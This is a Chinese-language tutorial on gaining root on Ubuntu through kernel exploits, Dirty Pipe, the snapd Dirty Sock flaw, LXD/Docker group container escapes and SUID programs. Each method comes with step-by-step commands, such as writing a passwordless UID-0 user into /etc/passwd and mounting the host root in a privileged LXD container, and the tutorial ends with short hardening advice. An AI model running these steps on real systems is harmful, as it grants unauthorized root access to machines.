利用Ubuntu Exploit提升权限的常见方法及步骤
内核漏洞提权是通过利用Ubuntu内核中的安全漏洞(如缓冲区溢出、权限控制不当),突破普通用户的权限限制,获取root权限。常见工具包括searchsploit
(离线漏洞库)、Exploit-DB
(在线漏洞数据库)和GitHub(开源漏洞利用代码)。
具体步骤:
uname -a
(内核版本)、cat /etc/issue
(系统发行版)、lsb_release -a
(版本详情)确认目标系统信息,用于匹配对应漏洞。searchsploit
命令搜索与内核版本匹配的漏洞,例如searchsploit linux 3.13.0 ubuntu
(针对Ubuntu 14.04/16.04的3.13.0内核)。37292.c
),使用gcc
编译(如gcc -o exp 37292.c
),赋予执行权限(chmod +x exp
),最后运行(./exp
)。成功后可通过id
命令验证权限,或读取/root/.flag.txt
等敏感文件确认提权成功。Dirty Pipe是2022年曝光的高危内核漏洞(影响Linux内核≥5.8),允许非特权用户通过管道操作覆盖任意文件(如/etc/passwd
),从而添加root用户或劫持SUID程序。
具体步骤:
uname -a
),并具备对目标文件(如/etc/passwd
)的写权限。/etc/passwd
(cp /etc/passwd /tmp/passwd.bak
),生成恶意用户条目(echo "hacker::0:0::/root:/bin/bash" > /tmp/passwd
),将UID设置为0(root)。dirtypipe
)覆盖/etc/passwd
(./dirtypipe /etc/passwd 1 /tmp/passwd
)。su hacker
(无需密码),通过id
命令确认UID=0,或使用whoami
验证当前用户为root。Snapd是Ubuntu的软件打包与分发服务,默认以root权限运行,其API存在权限绕过漏洞(如Dirty Sock v1/v2),允许本地用户创建系统用户或劫持SUID程序获取root权限。
具体步骤:
dpkg -l | grep snapd
),且版本受影响(如Ubuntu 18.10及以下)。dirty_sockv2
),执行脚本(./dirty_sockv2
)。脚本会通过Snapd API创建本地root用户(如dirty_sock
),并自动登录。su dirty_sock
(密码为空),通过id
命令确认权限提升。Ubuntu系统常安装容器管理工具(如LXC、LXD、Docker),若配置不当(如容器以privileged模式运行),攻击者可通过容器逃逸获取主机root权限。
常见场景及步骤:
lxd
组(id | grep lxd
),可创建特权容器(lxc init alpine r00t -c security.privileged=true
),挂载主机根目录(lxc config device add r00t mydev disk source=/ path=/mnt/root
),启动容器后进入/mnt/root
即可获取主机root shell(lxc exec r00t /bin/sh
)。docker
组(id | grep docker
),可运行容器并挂载主机敏感目录(如/root
)(docker run -v /root:/mnt -it ubuntu
),通过容器内修改主机文件实现提权。SUID(Set User ID)程序允许普通用户以程序所有者(通常为root)的权限执行。若SUID程序存在漏洞(如缓冲区溢出、配置错误),可被利用获取root权限。
具体步骤:
find / -perm -4000 2>/dev/null
命令查找系统中的SUID程序。find
、vim
、bash
),通过Exploit-DB或GitHub搜索对应提权代码。gcc -o exploit exploit.c && ./exploit
),通过SUID程序的漏洞获取root shell。overlayfs
Exploit),建议在虚拟机中测试。sudo apt update && sudo apt full-upgrade
)、修补漏洞(如Snapd升级至最新版本)、限制敏感组权限(如移除非必要用户 from lxd
/docker
组)。